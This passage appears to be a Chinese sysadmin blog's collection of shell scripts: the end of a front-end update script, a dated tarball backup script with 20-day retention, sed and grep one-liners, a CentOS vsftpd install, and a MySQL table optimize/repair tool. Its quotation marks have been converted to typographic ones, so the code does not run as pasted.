pLog “main()” “开始更新前台环境…”
pLog “main()” “开始备份前台代码…”
backupEnv
pLog “main()” “前台代码备份完毕”

pLog “main()” “开始备份web应用…”
backupWebapps
pLog “main()” “web应用备份完毕”

pLog “main()” “停止所有进程,开始更新文件…”
stopEnv
updateEnv
pLog “main()” “文件更新完毕”

#pLog “main()” “删除临时目录”
#rm -rf $UPDATE_TEMP_HOME/*

pLog “main()” “前台环境更新完毕,启动所有进程”
#startEnv()
fi

}

main
########################################
Linux 定期备份脚本
#!/bin/bash
#author: InBi
#date: 2011-08-05
#role: backup files periodically.
#website: http://www.itwhy.org/2011/07-28/707.html
##################################################
LogFile=/backup/log/`date +”%Y-%m”`.log
SourceDir=/var/RDfile
BakDir=/backup
RetainDay=20
ProjectLst=/backup/project.lst
##################################################
DATE=`date +”%Y-%m-%d”`
echo “backup start at $(date +”%Y-%m-%d %H:%M:%S”)” >$LogFile
echo “————————————————–” >>$LogFile
cd $BakDir
PROJECTLIST=`cat $ProjectLst`
for Project in $PROJECTLIST
do
ProjectData=$SourceDir/$Project
DestDir=$BakDir/$Project
PackFile=$DATE.$Project.tgz
if [ -f $BakDir/$PackFile ]
then
echo “backup file have exist !” >>$LogFile
else
cp -RHpf $ProjectData $DestDir >/dev/null
tar -zcvf $PackFile $Project >/dev/null
echo “backup $Project done into $PackFile” >>$LogFile
rm -rf $Project
fi
done
find $Bakdir -type f -mtime +$RetainDay -name “*.$Project.tgz” -exec rm {} ; >/dev/null
echo “————————————————–” >>$LogFile
echo “backup end at $(date +”%Y-%m-%d %H:%M:%S”)” >>$LogFile
echo ” ” >> $LogFile
exit 0
########################################
sed 常用脚本

#sed删除最后3行
tac file|sed 1,3d|tac
sed ‘$d’ file|sed ‘$d’ |sed ‘$d’

#匹配2个单词
grep -E “abc|fred” temp

#精确匹配
cat file|grep “<abc>”

参考

http://bbs.chinaunix.net/viewthread.php?tid=479709&page=1

########################################
Centos vsftpd 安装
echo “============================install vsftpd==================================”
yum -y remove vsftpd
yum -y install vsftpd

rm -f /etc/vsftpd/vsftpd.conf
cat >>/etc/vsftpd/vsftpd.conf<<EOF
# Example config file /etc/vsftpd/vsftpd.conf
#anonymous_enable=YES
local_enable=YES
write_enable=YES
local_umask=022
#anon_upload_enable=YES
#anon_mkdir_write_enable=YES
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
#chown_uploads=YES
#chown_username=whoever
#xferlog_file=/var/log/xferlog
xferlog_std_format=YES
#idle_session_timeout=600
#data_connection_timeout=120
#nopriv_user=ftpsecure
#async_abor_enable=YES
#ascii_upload_enable=YES
#ascii_download_enable=YES
ftpd_banner=Welcome to FTP service.
#deny_email_enable=YES
#banned_email_file=/etc/vsftpd/banned_emails
#chroot_list_enable=YES
#chroot_list_file=/etc/vsftpd/chroot_list
#ls_recurse_enable=YES
listen=YES
#listen_ipv6=YES
pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES
use_localtime=YES
chroot_local_user=YES
EOF

#权限设置
setsebool -P ftpd_disable_trans 1

#初次启动无需重启服务,后面会重启服务器
cat >>/etc/rc.local<<EOF
service vsftpd restart
EOF

#创建ftp账号
echo “============================ ftp username and password =========================”
mkdir -p /web/http
useradd -d /web/http bibinet
setfacl -R -m u:bibinet:rwx /web/http/
passwd bibinet
#查看账号
#finger bibinet

########################################
Shell MySql Tool
#!/bin/bash
#
# Version 0.02 – JF Nutbroek 2007
#

# Path to MySQL binary
MYSQL=”/opt/lampp/bin/mysql”

# Code starts here

check() {
OUT=$?
if [ ! $OUT -eq 0 ]; then
echo “Error!”
exit 2
fi
}

getinfo() {
echo “##### WARNING – Expert only! #####”
echo “”
echo “Please enter your MySQL username [enter=root]”
read USERNAME
if [ “$USERNAME” = “” ]; then
USERNAME=”root”
fi
echo “Please enter your MySQL password”
stty -echo
read PASSWORD
stty echo
echo “”
DBNAMES=”`$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost –batch –skip-column-names -e “show databases” | sed ‘s/ /%/g’`”
PS3=’Please select the database:’
select DB in $DBNAMES ; do
break
done
echo “”
}

optimize() {
clear
echo “Optimizing database…”
echo “”
getinfo
TABLENAMES=”`$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -D $DB -e “show tablesG;” | grep ‘Tables_in_’ | sed -n ‘s/.*Tables_in_.*: ([_0-9A-Za-z]*).*/1/p’`”
for TABLENAME in $TABLENAMES
do
$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -s -D $DB -e “optimize table $TABLENAME;”
done
echo “”
echo “Completed”
}

repair() {
clear
echo “Repairing database…”
echo “”
getinfo
TABLENAMES=”`$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -D $DB -e “show tablesG;” | grep ‘Tables_in_’ | sed -n ‘s/.*Tables_in_.*: ([_0-9A-Za-z]*).*/1/p’`”
for TABLENAME in $TABLENAMES
do
$MYSQL –user=$USERNAME –password=$PASSWORD –host=localhost -s -D $DB -e “repair table $TABLENAME;”
done
echo “”
echo “Completed”
}

case “$1″ in
‘optimize’)
setterm -background blue
clear
optimize
setterm -background black
;;
‘repair’)
setterm -background blue
clear
repair
setterm -background black
;;
*)
echo “Usage: mysqltool optimize | repair”
esac

exit 0
########################################